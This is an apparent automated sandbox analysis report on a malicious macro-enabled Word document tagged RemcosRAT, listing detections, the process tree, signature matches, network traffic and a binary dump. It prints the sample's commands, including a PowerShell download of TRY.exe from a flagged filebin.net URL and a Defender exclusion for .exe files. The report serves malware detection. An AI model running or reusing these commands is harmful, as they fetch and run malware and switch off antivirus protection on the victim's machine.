Edit tour

Windows Analysis Report
12543_0008858249_FWDOUTSTANDING_20200604.doc

Overview

General Information

Sample Name:	12543_0008858249_FWDOUTSTANDING_20200604.doc
Analysis ID:	611840
MD5:	090e1dfdcbf2185788ea14cd113cc39f
SHA1:	6346e143368edbb5a23c8eea9698be2c266311b3
SHA256:	3bd5892cdc82dc4576eaf2735edb57182ae8b91c8067be305d4e801197d390cc
Tags:	docRemcosRAT
Infos:

Detection

Score:	76
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Antivirus detection for URL or domain

Multi AV Scanner detection for domain / URL

Document contains OLE streams with names of living off the land binaries

Machine Learning detection for sample

Document contains OLE streams with PE executables

Queries the volume information (name, serial number etc) of a device

Yara signature match

Deletes files inside the Windows folder

May sleep (evasive loops) to hinder dynamic analysis

Contains functionality to shutdown / reboot the system

Creates files inside the system directory

Internet Provider seen in connection with other malware

Detected potential crypto function

Stores large binary data to the registry

Document contains an embedded VBA macro which executes code when the document is opened / closed

JA3 SSL client fingerprint seen in connection with other malware

Contains functionality to dynamically determine API calls

Sigma detected: Cabinet File Expansion

Potential document exploit detected (performs DNS queries)

PE file contains executable resources (Code or Archives)

IP address seen in connection with other malware

Uses insecure TLS / SSL version for HTTPS connection

Document misses a certain OLE stream usually present in this Microsoft Office document type

Contains long sleeps (>= 3 min)

Enables debug privileges

Potential document exploit detected (unknown TCP traffic)

PE file contains strange resources

Drops PE files

Uses cacls to modify the permissions of files

Drops PE files to the windows directory (C:\Windows)

Found evasive API chain checking for process token information

Sigma detected: Msiexec Initiated Connection

Document contains embedded VBA macros

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Checks for available system drives (often done to infect USB drives)

Uses Microsoft's Enhanced Cryptographic Provider

Sigma detected: Windows Suspicious Use Of Web Request in CommandLine

Potential document exploit detected (performs HTTP gets)

Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)

Creates a process in suspended mode (likely to inject code)

Sigma detected: Autorun Keys Modification

Classification

Process Tree

System is w7x64

WINWORD.EXE (PID: 3036 cmdline: "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding MD5: 9EE74859D22DAE61F1750B3A1BACB6F5)

msiexec.exe (PID: 2996 cmdline: C:\Windows\system32\msiexec.exe /V MD5: AC2E7152124CEED36846BD1B6592A00F)

msiexec.exe (PID: 464 cmdline: C:\Windows\syswow64\MsiExec.exe -Embedding A7515E85DB42A85129F32A151C15AD96 MD5: 4315D6ECAE85024A0567DF2CB253B7B0)

icacls.exe (PID: 1436 cmdline: "C:\Windows\system32\ICACLS.EXE" "C:\Users\user\AppData\Local\Temp\MW-58b84a1d-9a66-4aee-8a43-feb206e089b1\." /SETINTEGRITYLEVEL (CI)(OI)HIGH MD5: 1542A92D5C6F7E1E80613F3466C9CE7F)

expand.exe (PID: 1156 cmdline: "C:\Windows\system32\EXPAND.EXE" -R files.cab -F:* files MD5: 659CED6D7BDA047BCC6048384231DB9F)

TRY.exe (PID: 2272 cmdline: "C:\Users\user\AppData\Local\Temp\MW-58b84a1d-9a66-4aee-8a43-feb206e089b1\files\TRY.exe" MD5: 96DF7B0C491646EFC2E5F2E9F0443B8B)

cmd.exe (PID: 1136 cmdline: cmd /c thai.bat MD5: 5746BD7E255DD6A8AFA06F7C42C1BA41)

powershell.exe (PID: 1988 cmdline: powershell -command "Set-MpPreference -ExclusionExtension ".exe" MD5: 852D67A27E454BD389FA7F02A8CBE23F)

powershell.exe (PID: 2672 cmdline: powershell -command "Invoke-WebRequest -uri https://filebin.net/rf43v6qzghbj7h7b/TRY.exe -o TRY.exe" MD5: 852D67A27E454BD389FA7F02A8CBE23F)

icacls.exe (PID: 2068 cmdline: "C:\Windows\system32\ICACLS.EXE" "C:\Users\user\AppData\Local\Temp\MW-58b84a1d-9a66-4aee-8a43-feb206e089b1\." /SETINTEGRITYLEVEL (CI)(OI)LOW MD5: 1542A92D5C6F7E1E80613F3466C9CE7F)

rundll32.exe (PID: 2840 cmdline: C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user\AppData\Local\Temp\IXP000.TMP\ MD5: DD81D91FF3B0763C392422865C9AC12E)

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
12543_0008858249_FWDOUTSTANDING_20200604.doc	SUSP_Doc_WindowsInstaller_Call_Feb22_1	Triggers on docfiles executing windows installer. Used for deploying ThinBasic scripts.	Nils Kuhnert	0xe039:$: WindowsInstaller.Installer$ 0xec0b:$: CreateObject 0xec36:$: InstallProduct
12543_0008858249_FWDOUTSTANDING_20200604.doc	Office_AutoOpen_Macro	Detects an Microsoft Office file that contains the AutoOpen Macro function	Florian Roth	0xe1f3:$s1: AutoOpen 0xebee:$s1: AutoOpen 0xd500:$s2: Macros

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{1B1DF0C8-9DAA-4EF5-BAF3-5F56FA2C5B3B}.tmp	SUSP_Doc_WindowsInstaller_Call_Feb22_1	Triggers on docfiles executing windows installer. Used for deploying ThinBasic scripts.	Nils Kuhnert	0x1039:$: WindowsInstaller.Installer$ 0x1f0b:$: CreateObject 0x1f36:$: InstallProduct
C:\Users\user\AppData\Local\Temp\~DFC2FF7A9553E7F48E.TMP	SUSP_Doc_WindowsInstaller_Call_Feb22_1	Triggers on docfiles executing windows installer. Used for deploying ThinBasic scripts.	Nils Kuhnert	0x24a5:$: WindowsInstaller.Installer$ 0x23c6:$: CreateObject 0x4b64:$: CreateObject 0x4ce0:$: CreateObject 0x4d1e:$: CreateObject 0x5743:$: CreateObject 0x4d54:$: InstallProduct
C:\Users\user\AppData\Local\Temp\~DFC2FF7A9553E7F48E.TMP	SUSP_VBA_FileSystem_Access	Detects suspicious VBA that writes to disk and is activated on document open	Florian Roth	0x3648:$s1: \Common Files\Microsoft Shared\ 0x2111:$s2: Scripting.FileSystemObject 0x2470:$a3: AutoOpen 0x4b36:$a3: AutoOpen 0x4d30:$a3: AutoOpen 0x5766:$a3: AutoOpen

Sigma Signatures

There are no malicious signatures, click here to show all signatures.

Source: Process started

Author: Bhabesh Raj: Data: Command: "C:\Windows\system32\EXPAND.EXE" -R files.cab -F:* files, CommandLine: "C:\Windows\system32\EXPAND.EXE" -R files.cab -F:* files, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\expand.exe, NewProcessName: C:\Windows\SysWOW64\expand.exe, OriginalFileName: C:\Windows\SysWOW64\expand.exe, ParentCommandLine: C:\Windows\syswow64\MsiExec.exe -Embedding A7515E85DB42A85129F32A151C15AD96, ParentImage: C:\Windows\SysWOW64\msiexec.exe, ParentProcessId: 464, ParentProcessName: msiexec.exe, ProcessCommandLine: "C:\Windows\system32\EXPAND.EXE" -R files.cab -F:* files, ProcessId: 1156, ProcessName: expand.exe

Source: Network Connection

Author: frack113: Data: DestinationIp: 185.47.40.36, DestinationIsIpv6: false, DestinationPort: 443, EventID: 3, Image: C:\Windows\System32\msiexec.exe, Initiated: true, ProcessId: 2996, Protocol: tcp, SourceIp: 192.168.2.22, SourceIsIpv6: false, SourcePort: 49173

Source: Process started

Author: James Pemberton / @4A616D6573: Data: Command: powershell -command "Invoke-WebRequest -uri https://filebin.net/rf43v6qzghbj7h7b/TRY.exe -o TRY.exe", CommandLine: powershell -command "Invoke-WebRequest -uri https://filebin.net/rf43v6qzghbj7h7b/TRY.exe -o TRY.exe", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: cmd /c thai.bat, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1136, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -command "Invoke-WebRequest -uri https://filebin.net/rf43v6qzghbj7h7b/TRY.exe -o TRY.exe", ProcessId: 2672, ProcessName: powershell.exe

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton: Data: Details: rundll32.exe C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user\AppData\Local\Temp\IXP000.TMP\", EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\MW-58b84a1d-9a66-4aee-8a43-feb206e089b1\files\TRY.exe, ProcessId: 2272, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -command "Set-MpPreference -ExclusionExtension ".exe", CommandLine: powershell -command "Set-MpPreference -ExclusionExtension ".exe", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: cmd /c thai.bat, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1136, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -command "Set-MpPreference -ExclusionExtension ".exe", ProcessId: 1988, ProcessName: powershell.exe

Source: Process started

Author: frack113: Data: Command: "C:\Users\user\AppData\Local\Temp\MW-58b84a1d-9a66-4aee-8a43-feb206e089b1\files\TRY.exe" , CommandLine: "C:\Users\user\AppData\Local\Temp\MW-58b84a1d-9a66-4aee-8a43-feb206e089b1\files\TRY.exe" , CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\MW-58b84a1d-9a66-4aee-8a43-feb206e089b1\files\TRY.exe, NewProcessName: C:\Users\user\AppData\Local\Temp\MW-58b84a1d-9a66-4aee-8a43-feb206e089b1\files\TRY.exe, OriginalFileName: C:\Users\user\AppData\Local\Temp\MW-58b84a1d-9a66-4aee-8a43-feb206e089b1\files\TRY.exe, ParentCommandLine: C:\Windows\syswow64\MsiExec.exe -Embedding A7515E85DB42A85129F32A151C15AD96, ParentImage: C:\Windows\SysWOW64\msiexec.exe, ParentProcessId: 464, ParentProcessName: msiexec.exe, ProcessCommandLine: "C:\Users\user\AppData\Local\Temp\MW-58b84a1d-9a66-4aee-8a43-feb206e089b1\files\TRY.exe" , ProcessId: 2272, ProcessName: TRY.exe

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 12543_0008858249_FWDOUTSTANDING_20200604.doc	Virustotal: Detection: 37%			Perma Link
Source: 12543_0008858249_FWDOUTSTANDING_20200604.doc	ReversingLabs: Detection: 24%

Antivirus detection for URL or domain

Source: https://filebin.net/rf43v6qzghbj7h7b/TRY.msi-1261261808309546470	Avira URL Cloud: Label: malware
Source: https://filebin.net/rf43v6qzghbj7h7b/TRY.msi	Avira URL Cloud: Label: malware
Source: https://filebin.net/rf43v6qzghbj7h7b/TRY.exe	Avira URL Cloud: Label: malware
Source: https://filebin.net/rf43v6qzghbj7h7b/TRY.msi0C:	Avira URL Cloud: Label: malware
Source: https://filebin.net/rf43v6qzghbj7h7b/	Avira URL Cloud: Label: malware

Multi AV Scanner detection for domain / URL

Source: filebin.net

Virustotal: Detection: 5%

Perma Link

Machine Learning detection for sample

Source: 12543_0008858249_FWDOUTSTANDING_20200604.doc

Joe Sandbox ML: detected

Source: C:\Users\user\AppData\Local\Temp\MW-58b84a1d-9a66-4aee-8a43-feb206e089b1\files\TRY.exe

Code function: 9_2_000000013FB62E28 GetSystemDirectoryA,LoadLibraryA,GetProcAddress,DecryptFileA,FreeLibrary,GetWindowsDirectoryA,GetLastError,SetCurrentDirectoryA,

9_2_000000013FB62E28

Source: unknown	HTTPS traffic detected: 185.47.40.36:443 -> 192.168.2.22:49173 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 87.238.33.8:443 -> 192.168.2.22:49174 version: TLS 1.0

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source: C:\Windows\SysWOW64\expand.exe	File created: C:\Windows\Logs\DPX\setupact.log			Jump to behavior
Source: C:\Windows\SysWOW64\expand.exe	File created: C:\Windows\Logs\DPX\setuperr.log			Jump to behavior

Source:	Binary string: wextract.pdb source: TRY.exe, 00000009.00000000.925012433.000000013FB69000.00000002.00000001.01000000.00000005.sdmp, TRY.exe, 00000009.00000002.945782546.000000013FB69000.00000002.00000001.01000000.00000005.sdmp, 79bd875a22ddb24abfa2594fbd40eccf.tmp.7.dr, MSI5B5A.tmp.2.dr, files.cab.4.dr
Source:	Binary string: wextract.pdbGCTL source: TRY.exe, 00000009.00000000.925012433.000000013FB69000.00000002.00000001.01000000.00000005.sdmp, TRY.exe, 00000009.00000002.945782546.000000013FB69000.00000002.00000001.01000000.00000005.sdmp, 79bd875a22ddb24abfa2594fbd40eccf.tmp.7.dr, MSI5B5A.tmp.2.dr, files.cab.4.dr
Source:	Binary string: C:\ss2\Projects\MsiWrapper\MsiCustomActions\Release\MsiCustomActions.pdb source: MSI5B5A.tmp.2.dr, MSI9F1.tmp.2.dr

Source: C:\Windows\System32\msiexec.exe	File opened: z:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: x:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: v:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: t:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: r:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: p:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: n:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: l:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: j:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: h:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: f:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: b:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: y:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: w:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: u:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: s:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: q:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: o:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: m:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: k:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: i:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: g:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: e:	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: c:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: a:	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\MW-58b84a1d-9a66-4aee-8a43-feb206e089b1\files\TRY.exe

Code function: 9_2_000000013FB61F00 FindFirstFileA,lstrcmpA,lstrcmpA,SetFileAttributesA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA,

9_2_000000013FB61F00

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior

Source: global traffic

DNS query: name: filebin.net

Source: global traffic

TCP traffic: 192.168.2.22:49173 -> 185.47.40.36:443

Source: global traffic

TCP traffic: 192.168.2.22:49173 -> 185.47.40.36:443

Source: Joe Sandbox View

ASN Name: REDPILL-LINPRORedpillLinproNO REDPILL-LINPRORedpillLinproNO

Source: Joe Sandbox View

JA3 fingerprint: 05af1f5ca1b87cc9cc9b25185115607d

Source: Joe Sandbox View	IP Address: 87.238.33.8 87.238.33.8
Source: Joe Sandbox View	IP Address: 185.47.40.36 185.47.40.36

Source: unknown	HTTPS traffic detected: 185.47.40.36:443 -> 192.168.2.22:49173 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 87.238.33.8:443 -> 192.168.2.22:49174 version: TLS 1.0

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49174
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49173
Source: unknown	Network traffic detected: HTTP traffic on port 49173 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49174 -> 443

Source: ~DFECA159C20646BB57.TMP.2.dr	String found in binary or memory: https://filebin.net/rf43v6qzghbj7h7b/
Source: expand.exe, 00000007.00000003.919683562.00000000003CF000.00000004.00000800.00020000.00000000.sdmp, TRY.exe, 00000009.00000003.927628947.0000000001E20000.00000004.00000020.00020000.00000000.sdmp, TRY.exe, 00000009.00000003.927698970.0000000002020000.00000004.00000020.00020000.00000000.sdmp, TRY.exe, 00000009.00000000.925076387.000000013FB6E000.00000002.00000001.01000000.00000005.sdmp, TRY.exe, 00000009.00000002.945747952.0000000000286000.00000004.00000020.00020000.00000000.sdmp, 79bd875a22ddb24abfa2594fbd40eccf.tmp.7.dr, thai.bat.9.dr, MSI5B5A.tmp.2.dr, files.cab.4.dr	String found in binary or memory: https://filebin.net/rf43v6qzghbj7h7b/TRY.exe
Source: ~WRF{1B1DF0C8-9DAA-4EF5-BAF3-5F56FA2C5B3B}.tmp.0.dr	String found in binary or memory: https://filebin.net/rf43v6qzghbj7h7b/TRY.msi
Source: ~DFECA159C20646BB57.TMP.2.dr	String found in binary or memory: https://filebin.net/rf43v6qzghbj7h7b/TRY.msi-1261261808309546470
Source: 535fae.ipi.2.dr	String found in binary or memory: https://filebin.net/rf43v6qzghbj7h7b/TRY.msi0C:

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{02CF5D71-875F-4179-8CDC-9768D4E5C0E6}.tmp

Jump to behavior

Source: unknown

DNS traffic detected: queries for: filebin.net

Source: global traffic	HTTP traffic detected: GET /rf43v6qzghbj7h7b/TRY.msi HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows InstallerHost: filebin.net
Source: global traffic	HTTP traffic detected: GET /filebin/e76b11c6a8df860f25923a54491f9e4705e2029a6f63ff6145f41522a887dd56/e046def2a98a6096ca27aa2b595788057624cf23435c3db476f6bd4946742884?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=HZXB1J7T0UN34UN512IW%2F20220420%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20220420T071855Z&X-Amz-Expires=30&X-Amz-SignedHeaders=host&response-cache-control=max-age%3D30&response-content-disposition=filename%3D%22TRY.msi%22&response-content-type=application%2Fmsword&X-Amz-Signature=88f98aff597656b73ffa540a69b51975c1f37753b3a866ffe3810b4a5c372fd1 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows InstallerHost: situla.bitbit.net

System Summary

Document contains OLE streams with names of living off the land binaries

Source: MSI5B5A.tmp.2.dr

Stream path '\x17163\x16689\x18229\x16766\x18365\x17760\x17636\x16947\x16167\x17896\x17656\x17753\x17074\x16693\x18480' : MSCF....l^......,...............}?..D........^.........T.. .TRY.exe..`.(....MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b1F.._..._..._..kZ..._..k\..._..k[..._..k^..._...^.d._..kW..._..k...._..k]..._.Rich.._.................PE..d......&.........."......t...........y.........@.....................................H....`.......... ......................................,................................... .......T............................................... ............................text...0s.......t.................. ..`.rdata...".......$...x..............@..@.data...............................@....pdata..............................@..@.rsrc...............................@..@.reloc.. ............\..............@..B........................................................................................................................................................................................................................................................................................................E3.H.B.A.....A.W...I;.E.G.E..xGH..t"L+.L+.I...H..t.A.....t...H..H...u.H..H.A.H.E.H..E..A..A..z........H..t....A.........E3.L..M..H..A.W...I.B.H=....E.G.E..x5I..H..M..t..8.t.H..H...u.H..H..E..A..E#.H..t.M..L+...E3.E..xXI..I...I+.t.H..M......I+.L..L+.M..t.A.....t...I..H..H...u.H..H.B.H.E.H..E..A..A..z......A.........L.D$.L.L$ SVWH.. 3.H.B.H=....H...W....G...x5H.Z.H..H..L.L$X3.........x.H.H;.w.u.@.<3..@.<3.z.....H..t......H.. _^[..........H.\$.H.l$.VWAVH......H..,...H3.H.D$pL..f.D$l..3.H.........l$h......H..H........H......H....1...H..H..taH.D$`A..H.D$PD.E .l$HH.L$h.l$@.}..l$8A. ....l$0...l$(.l$ ...~....t.H.T$`M..3.H........H.L$`...~..H..........H.L$pH3...i..L..$....I.[(I.k0I..A^_^.........H..H.X.H.p.H.x.L.p UH.h.H......H.."...H3.H.EG..Y...E3.D.u?f.EC..D.u'A.^.;...P...H.M'.........&.........H..L.E/.S....~......!...H.M/H.E+E3.H.D$ E3......}.............~....z.......U+3...<...H..H........D.M+H.E+H.M/L....H.D$ ..t}..........H.E7A. ...H.D$PH.M?D.t$HA. ...D.t$@..D.t$8D.t$0D.t$(D.t$ ..u}....t@A..D97v......H.U7..H..H.L....`}....u...;7r.....*....]'H.M7...}..H....(~..H.M/...}...E'..............E'...E.......H.MGH3...g..L..$....I.[.I.s.I.{ M.s(I..]........H.\$.WH..0...H..d...H3.H..$ ...I..I..H........t!...u.I......I...w.H....U....P3..Q..q...H..H...F4..H..w...L.D$ A......D$ .........L.D$ .?...H....$.................H..$ ...H3...f..H..$H...H..0..._..........H.\$.H.l$.H.t$.WH.. H..H..H..3...@8+tiH.....H...\_..H..u....H..H...I_..H..u.H...?.t.H..H........,_..H..t.Hc.H...8.t....H..H.\$0H.l$8H.t$@H.. _.3............H.\$.UVWATAUAVAWH..$....H..p...H......H3.H..`...L..H.EPM..H.MPL+.M..E3.M.......H......H..t.A.....t...H..H...u.H..H.A.H.E.D.(.}P"u.H......H.EQ..H......H.EPH.L$0H.D$0.....H.|$0H...H..H..tlH..H..D8,.u.H...rZ.G..\<:u.8O.t.8.uH:.uDH.D$@L..L+.H.L$@.....H......H..t.A.....t...H..H...u.H..H.A.H.E.D.(.ZA.....L......H.D$@A..L+.H.L$@H......H..t.A.....t...H..H...u.H..H.A.L..A..H.E.H

Document contains OLE streams with PE executables

Source: MSI5B5A.tmp.2.dr	Stream path '\x17163\x16689\x18229\x16766\x18365\x17760\x17636\x16947\x16167\x17896\x17656\x17753\x17074\x16693\x18480' : MZ signature found
Source: MSI5B5A.tmp.2.dr	Stream path '\x17163\x16689\x18229\x16766\x18365\x17932\x17910\x17458\x16778\x17207\x17522\x17357\x18479' : MZ signature found

Source: 12543_0008858249_FWDOUTSTANDING_20200604.doc, type: SAMPLE	Matched rule: SUSP_Doc_WindowsInstaller_Call_Feb22_1 date = 2022-02-26, author = Nils Kuhnert, description = Triggers on docfiles executing windows installer. Used for deploying ThinBasic scripts., reference2 = https://twitter.com/threatinsight/status/1497355737844133895, reference = https://inquest.net/blog/2022/02/24/dangerously-thinbasic, tlp = white
Source: 12543_0008858249_FWDOUTSTANDING_20200604.doc, type: SAMPLE	Matched rule: Office_AutoOpen_Macro date = 2015-05-28, hash5 = 7c06cab49b9332962625b16f15708345, hash4 = a3035716fe9173703941876c2bde9d98, hash3 = 66e67c2d84af85a569a04042141164e6, hash2 = 63f6b20cb39630b13c14823874bd3743, author = Florian Roth, description = Detects an Microsoft Office file that contains the AutoOpen Macro function, hash7 = 25285b8fe2c41bd54079c92c1b761381, hash6 = bfc30332b7b91572bfe712b656ea8a0c, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = 4d00695d5011427efc33c9722c61ced2
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{1B1DF0C8-9DAA-4EF5-BAF3-5F56FA2C5B3B}.tmp, type: DROPPED	Matched rule: SUSP_Doc_WindowsInstaller_Call_Feb22_1 date = 2022-02-26, author = Nils Kuhnert, description = Triggers on docfiles executing windows installer. Used for deploying ThinBasic scripts., reference2 = https://twitter.com/threatinsight/status/1497355737844133895, reference = https://inquest.net/blog/2022/02/24/dangerously-thinbasic, tlp = white
Source: C:\Users\user\AppData\Local\Temp\~DFC2FF7A9553E7F48E.TMP, type: DROPPED	Matched rule: SUSP_Doc_WindowsInstaller_Call_Feb22_1 date = 2022-02-26, author = Nils Kuhnert, description = Triggers on docfiles executing windows installer. Used for deploying ThinBasic scripts., reference2 = https://twitter.com/threatinsight/status/1497355737844133895, reference = https://inquest.net/blog/2022/02/24/dangerously-thinbasic, tlp = white
Source: C:\Users\user\AppData\Local\Temp\~DFC2FF7A9553E7F48E.TMP, type: DROPPED	Matched rule: SUSP_VBA_FileSystem_Access date = 2019-06-21, author = Florian Roth, description = Detects suspicious VBA that writes to disk and is activated on document open, reference = Internal Research, score = 52262bb315fa55b7441a04966e176b0e26b7071376797e35c80aa60696b6d6fc

Source: C:\Windows\System32\msiexec.exe

File deleted: C:\Windows\Installer\535fae.ipi

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\MW-58b84a1d-9a66-4aee-8a43-feb206e089b1\files\TRY.exe	Code function: 9_2_000000013FB629E4 GetVersion,GetModuleHandleW,GetProcAddress,ExitWindowsEx,CloseHandle,		9_2_000000013FB629E4
Source: C:\Users\user\AppData\Local\Temp\MW-58b84a1d-9a66-4aee-8a43-feb206e089b1\files\TRY.exe	Code function: 9_2_000000013FB61B44 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,ExitWindowsEx,		9_2_000000013FB61B44

Source: C:\Windows\System32\msiexec.exe

File created: C:\Windows\Installer\MSI5B5A.tmp

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\MW-58b84a1d-9a66-4aee-8a43-feb206e089b1\files\TRY.exe	Code function: 9_2_000000013FB665B0	9_2_000000013FB665B0
Source: C:\Users\user\AppData\Local\Temp\MW-58b84a1d-9a66-4aee-8a43-feb206e089b1\files\TRY.exe	Code function: 9_2_000000013FB63E4C	9_2_000000013FB63E4C
Source: C:\Users\user\AppData\Local\Temp\MW-58b84a1d-9a66-4aee-8a43-feb206e089b1\files\TRY.exe	Code function: 9_2_000000013FB61C38	9_2_000000013FB61C38
Source: C:\Users\user\AppData\Local\Temp\MW-58b84a1d-9a66-4aee-8a43-feb206e089b1\files\TRY.exe	Code function: 9_2_000000013FB65940	9_2_000000013FB65940
Source: C:\Users\user\AppData\Local\Temp\MW-58b84a1d-9a66-4aee-8a43-feb206e089b1\files\TRY.exe	Code function: 9_2_000000013FB66028	9_2_000000013FB66028
Source: C:\Users\user\AppData\Local\Temp\MW-58b84a1d-9a66-4aee-8a43-feb206e089b1\files\TRY.exe	Code function: 9_2_000000013FB633C0	9_2_000000013FB633C0
Source: C:\Users\user\AppData\Local\Temp\MW-58b84a1d-9a66-4aee-8a43-feb206e089b1\files\TRY.exe	Code function: 9_2_000000013FB61B44	9_2_000000013FB61B44
Source: C:\Users\user\AppData\Local\Temp\MW-58b84a1d-9a66-4aee-8a43-feb206e089b1\files\TRY.exe	Code function: 9_2_000000013FB62B24	9_2_000000013FB62B24

Source: 12543_0008858249_FWDOUTSTANDING_20200604.doc	OLE, VBA macro line: Sub AutoOpen()
Source: VBA code instrumentation	OLE, VBA macro: Module ThisDocument, Function AutoOpen	Name: AutoOpen
Source: ~DFC2FF7A9553E7F48E.TMP.0.dr	OLE, VBA macro line: Sub AutoOpen()

Source: 79bd875a22ddb24abfa2594fbd40eccf.tmp.7.dr

Static PE information: Resource name: RT_RCDATA type: Microsoft Cabinet archive data, 289 bytes, 1 file

Source: ~WRF{1B1DF0C8-9DAA-4EF5-BAF3-5F56FA2C5B3B}.tmp.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: ~DFC2FF7A9553E7F48E.TMP.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: MSI5B5A.tmp.2.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: 535fae.ipi.2.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false

Source: 79bd875a22ddb24abfa2594fbd40eccf.tmp.7.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 79bd875a22ddb24abfa2594fbd40eccf.tmp.7.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 79bd875a22ddb24abfa2594fbd40eccf.tmp.7.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: 12543_0008858249_FWDOUTSTANDING_20200604.doc	OLE indicator, VBA macros: true
Source: ~DFC2FF7A9553E7F48E.TMP.0.dr	OLE indicator, VBA macros: true

